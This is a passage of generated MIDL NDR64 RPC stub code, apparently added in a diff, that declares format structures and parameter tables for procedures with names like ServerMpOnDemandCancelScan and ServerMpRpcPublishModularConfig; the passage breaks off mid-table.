__midl_frag127_t __midl_frag127; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + } frag2; +} +__midl_frag125_t; +extern const __midl_frag125_t __midl_frag125; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag124_t; +extern const __midl_frag124_t __midl_frag124; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag123_t; +extern const __midl_frag123_t __midl_frag123; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag122_t; +extern const __midl_frag122_t __midl_frag122; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag121_t; +extern const __midl_frag121_t __midl_frag121; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag115_t; +extern const __midl_frag115_t __midl_frag115; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_MEMPAD_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_MEMPAD_FORMAT frag10; + struct _NDR64_BUFFER_ALIGN_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + } frag2; +} +__midl_frag110_t; +extern const __midl_frag110_t __midl_frag110; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag109_t; +extern const __midl_frag109_t __midl_frag109; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; +} +__midl_frag108_t; +extern const __midl_frag108_t __midl_frag108; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag106_t; +extern const __midl_frag106_t __midl_frag106; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag105_t; +extern const __midl_frag105_t __midl_frag105; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag103_t; +extern const __midl_frag103_t __midl_frag103; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag102_t; +extern const __midl_frag102_t __midl_frag102; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_MEMPAD_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + } frag2; +} +__midl_frag100_t; +extern const __midl_frag100_t __midl_frag100; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag99_t; +extern const __midl_frag99_t __midl_frag99; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag98_t; +extern const __midl_frag98_t __midl_frag98; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag96_t; +extern const __midl_frag96_t __midl_frag96; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag95_t; +extern const __midl_frag95_t __midl_frag95; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + } frag2; +} +__midl_frag94_t; +extern const __midl_frag94_t __midl_frag94; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag93_t; +extern const __midl_frag93_t __midl_frag93; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag91_t; +extern const __midl_frag91_t __midl_frag91; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_MEMPAD_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + } frag2; +} +__midl_frag89_t; +extern const __midl_frag89_t __midl_frag89; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag88_t; +extern const __midl_frag88_t __midl_frag88; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag87_t; +extern const __midl_frag87_t __midl_frag87; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag86_t; +extern const __midl_frag86_t __midl_frag86; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag85_t; +extern const __midl_frag85_t __midl_frag85; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag84_t; +extern const __midl_frag84_t __midl_frag84; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag83_t; +extern const __midl_frag83_t __midl_frag83; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag82_t; +extern const __midl_frag82_t __midl_frag82; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag81_t; +extern const __midl_frag81_t __midl_frag81; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag80_t; +extern const __midl_frag80_t __midl_frag80; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag79_t; +extern const __midl_frag79_t __midl_frag79; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag77_t; +extern const __midl_frag77_t __midl_frag77; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag76_t; +extern const __midl_frag76_t __midl_frag76; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + struct _NDR64_NO_REPEAT_FORMAT frag7; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8; + struct _NDR64_POINTER_FORMAT frag9; + NDR64_FORMAT_CHAR frag10; + } frag2; +} +__midl_frag73_t; +extern const __midl_frag73_t __midl_frag73; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_MEMPAD_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag13; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag14; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag15; + } frag2; +} +__midl_frag72_t; +extern const __midl_frag72_t __midl_frag72; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag71_t; +extern const __midl_frag71_t __midl_frag71; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag60_t; +extern const __midl_frag60_t __midl_frag60; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + struct _NDR64_UNION_ARM frag4; + struct _NDR64_UNION_ARM frag5; + struct _NDR64_UNION_ARM frag6; + struct _NDR64_UNION_ARM frag7; + struct _NDR64_UNION_ARM frag8; + struct _NDR64_UNION_ARM frag9; + struct _NDR64_UNION_ARM frag10; + struct _NDR64_UNION_ARM frag11; + struct _NDR64_UNION_ARM frag12; + struct _NDR64_UNION_ARM frag13; + NDR64_UINT32 frag14; +} +__midl_frag57_t; +extern const __midl_frag57_t __midl_frag57; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + } frag2; +} +__midl_frag56_t; +extern const __midl_frag56_t __midl_frag56; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag55_t; +extern const __midl_frag55_t __midl_frag55; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag54_t; +extern const __midl_frag54_t __midl_frag54; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + struct _NDR64_UNION_ARM frag4; + struct _NDR64_UNION_ARM frag5; + struct _NDR64_UNION_ARM frag6; + struct _NDR64_UNION_ARM frag7; + struct _NDR64_UNION_ARM frag8; + struct _NDR64_UNION_ARM frag9; + struct _NDR64_UNION_ARM frag10; + struct _NDR64_UNION_ARM frag11; + struct _NDR64_UNION_ARM frag12; + struct _NDR64_UNION_ARM frag13; + struct _NDR64_UNION_ARM frag14; + struct _NDR64_UNION_ARM frag15; + struct _NDR64_UNION_ARM frag16; + struct _NDR64_UNION_ARM frag17; + struct _NDR64_UNION_ARM frag18; + struct _NDR64_UNION_ARM frag19; + struct _NDR64_UNION_ARM frag20; + struct _NDR64_UNION_ARM frag21; + struct _NDR64_UNION_ARM frag22; + struct _NDR64_UNION_ARM frag23; + NDR64_UINT32 frag24; +} +__midl_frag53_t; +extern const __midl_frag53_t __midl_frag53; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_REGION_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag52_t; +extern const __midl_frag52_t __midl_frag52; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag48_t; +extern const __midl_frag48_t __midl_frag48; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag42_t; +extern const __midl_frag42_t __midl_frag42; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag36_t; +extern const __midl_frag36_t __midl_frag36; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag30_t; +extern const __midl_frag30_t __midl_frag30; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag26_t; +extern const __midl_frag26_t __midl_frag26; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag21_t; +extern const __midl_frag21_t __midl_frag21; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_BUFFER_ALIGN_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag13; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag14; + struct _NDR64_BUFFER_ALIGN_FORMAT frag15; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag16; + struct _NDR64_MEMPAD_FORMAT frag17; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag18; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag19; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag20; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag21; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag22; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag23; + struct _NDR64_BUFFER_ALIGN_FORMAT frag24; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag25; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag26; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag27; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag28; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag29; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag30; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag31; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag32; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag33; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag34; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag35; + struct _NDR64_BUFFER_ALIGN_FORMAT frag36; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag37; + struct _NDR64_MEMPAD_FORMAT frag38; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag39; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag40; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag41; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag42; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag43; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag44; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag45; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag46; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag47; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag48; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag49; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag50; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag51; + } frag2; +} +__midl_frag17_t; +extern const __midl_frag17_t __midl_frag17; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag16_t; +extern const __midl_frag16_t __midl_frag16; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag13_t; +extern const __midl_frag13_t __midl_frag13; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag8_t; +extern const __midl_frag8_t __midl_frag8; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2_t; +extern const __midl_frag2_t __midl_frag2; + +typedef +NDR64_FORMAT_UINT32 +__midl_frag1_t; +extern const __midl_frag1_t __midl_frag1; + +static const __midl_frag2368_t __midl_frag2368 = +0x5 /* FC64_INT32 */; + +static const __midl_frag2367_t __midl_frag2367 = +0x13 /* FC64_ERROR_STATUS_T */; + +static const __midl_frag2366_t __midl_frag2366 = +{ +/* *error_status_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 12 /* 0xc */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2367 +}; + +static const __midl_frag2364_t __midl_frag2364 = +{ +/* *wchar_t */ + { + /* *wchar_t */ + 0x64, /* FC64_CONF_WCHAR_STRING */ + { + /* *wchar_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT16) 2 /* 0x2 */ + } +}; + +static const __midl_frag2363_t __midl_frag2363 = +{ +/* *wchar_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 +}; + +static const __midl_frag2360_t __midl_frag2360 = +{ +/* Proc235_ServerMpRpcPublishModularConfig */ + { + /* Proc235_ServerMpRpcPublishModularConfig */ /* procedure Proc235_ServerMpRpcPublishModularConfig */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag2355_t __midl_frag2355 = +0x10 /* FC64_CHAR */; + +static const __midl_frag2354_t __midl_frag2354 = +{ +/* */ + (NDR64_UINT32) 0 /* 0x0 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag2353_t __midl_frag2353 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2354 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2352_t __midl_frag2352 = +{ +/* *char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2353 +}; + +static const __midl_frag2351_t __midl_frag2351 = +{ +/* Proc234_ServerMpRpcSCCForceReset */ + { + /* Proc234_ServerMpRpcSCCForceReset */ /* procedure Proc234_ServerMpRpcSCCForceReset */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2353, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag2346_t __midl_frag2346 = +{ +/* struct _NDR64_CONTEXT_HANDLE_FORMAT */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 65 /* 0x41 */, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ +}; + +static const __midl_frag2345_t __midl_frag2345 = +{ +/* Proc233_ServerMpOnDemandCancelScan */ + { + /* Proc233_ServerMpOnDemandCancelScan */ /* procedure Proc233_ServerMpOnDemandCancelScan */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 44 /* 0x2c */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 